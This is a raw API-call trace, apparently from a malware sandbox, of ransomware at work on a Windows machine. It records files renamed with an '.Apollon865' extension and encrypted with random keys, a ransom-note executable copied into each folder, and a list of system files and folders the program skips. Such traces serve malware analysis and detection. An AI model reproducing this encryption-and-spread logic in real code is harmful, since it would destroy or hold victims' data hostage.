	[0073.718] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.apollon865"), dwFlags=0x1) returned 1
	[0073.719] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0073.719] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=455720) returned 1
	[0073.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.719] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf5f0) returned 1
	[0073.720] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0073.720] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.720] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f730, lpName=0x0) returned 0x100
	[0073.722] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f730) returned 0x210000
	[0074.077] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf5f0) returned 1
	[0074.077] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0074.077] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0074.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0074.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0074.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0074.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0074.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0074.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0074.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0074.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0074.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0074.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0074.078] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0074.085] CloseHandle (hObject=0x100) returned 1
	[0074.085] CloseHandle (hObject=0xd8) returned 1
	[0074.085] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0074.085] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0074.085] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0074.098] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
	[0074.099] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0074.099] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c30
	[0074.099] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0074.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0074.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0074.099] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 82
	[0074.099] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0074.099] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.099] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0074.099] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0074.100] GetLastError () returned 0x20
	[0074.100] Sleep (dwMilliseconds=0xc8) 
	[0074.295] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0074.295] GetLastError () returned 0x20
	[0074.295] Sleep (dwMilliseconds=0xc8) 
	[0074.495] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0074.495] GetLastError () returned 0x20
	[0074.495] Sleep (dwMilliseconds=0xc8) 
	[0074.694] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0074.694] GetLastError () returned 0x20
	[0074.694] Sleep (dwMilliseconds=0xc8) 
	[0074.899] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0074.899] GetLastError () returned 0x20
	[0074.899] Sleep (dwMilliseconds=0xc8) 
	[0075.110] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0075.110] GetLastError () returned 0x20
	[0075.110] Sleep (dwMilliseconds=0xc8) 
	[0075.317] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0075.318] GetLastError () returned 0x0
	[0075.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0075.318] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0075.318] CloseHandle (hObject=0x150) returned 1
	[0075.318] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0075.318] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.318] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0075.318] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.318] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.318] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.318] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.319] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.319] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.319] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.319] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.319] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6129b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.319] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.319] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0075.319] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.319] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0075.319] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0075.319] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0075.319] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0075.319] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0075.319] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0075.319] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0075.319] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0075.319] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0075.319] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0075.319] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0075.319] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0075.319] lstrlenW (lpString="packages") returned 8
	[0075.319] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned 84
	[0075.319] lstrcpyW (in: lpString1=0x119e6ae, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0075.319] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0075.319] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0075.319] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7af0 | out: ListHead=0x5b75f0, ListEntry=0x5b7af0) returned 0x5b7ab0
	[0075.319] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0075.319] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0075.319] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7af0
	[0075.319] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages"
	[0075.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0075.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0075.320] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned 91
	[0075.320] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages"
	[0075.320] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.320] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0075.320] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0075.320] GetLastError () returned 0x0
	[0075.320] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0075.320] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0075.321] CloseHandle (hObject=0x150) returned 1
	[0075.321] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0075.321] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.321] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0075.321] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.321] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.321] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.321] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.321] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.321] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.321] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.321] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.321] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f638b10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.321] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.321] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0075.321] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.321] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="Apollon865.txt.exe") returned 1
	[0075.321] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2=".") returned 1
	[0075.321] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="..") returned 1
	[0075.321] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="windows") returned -1
	[0075.321] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="bootmgr") returned 1
	[0075.321] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="temp") returned 1
	[0075.321] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="pagefile.sys") returned 1
	[0075.321] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="boot") returned 1
	[0075.321] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="ids.txt") returned 1
	[0075.321] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="ntuser.dat") returned 1
	[0075.321] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="perflogs") returned 1
	[0075.322] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="MSBuild") returned 1
	[0075.322] lstrlenW (lpString="vcRuntimeMinimum_x86") returned 20
	[0075.322] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*") returned 93
	[0075.322] lstrcpyW (in: lpString1=0x119e6c0, lpString2="vcRuntimeMinimum_x86" | out: lpString1="vcRuntimeMinimum_x86") returned="vcRuntimeMinimum_x86"
	[0075.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0075.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe2) returned 0x5a3168
	[0075.322] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7af0 | out: ListHead=0x5b75f0, ListEntry=0x5b7af0) returned 0x5b7ab0
	[0075.322] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0075.322] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0075.322] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7af0
	[0075.322] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86"
	[0075.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0075.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0075.322] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned 112
	[0075.322] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86"
	[0075.322] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.322] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0075.323] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0075.323] GetLastError () returned 0x0
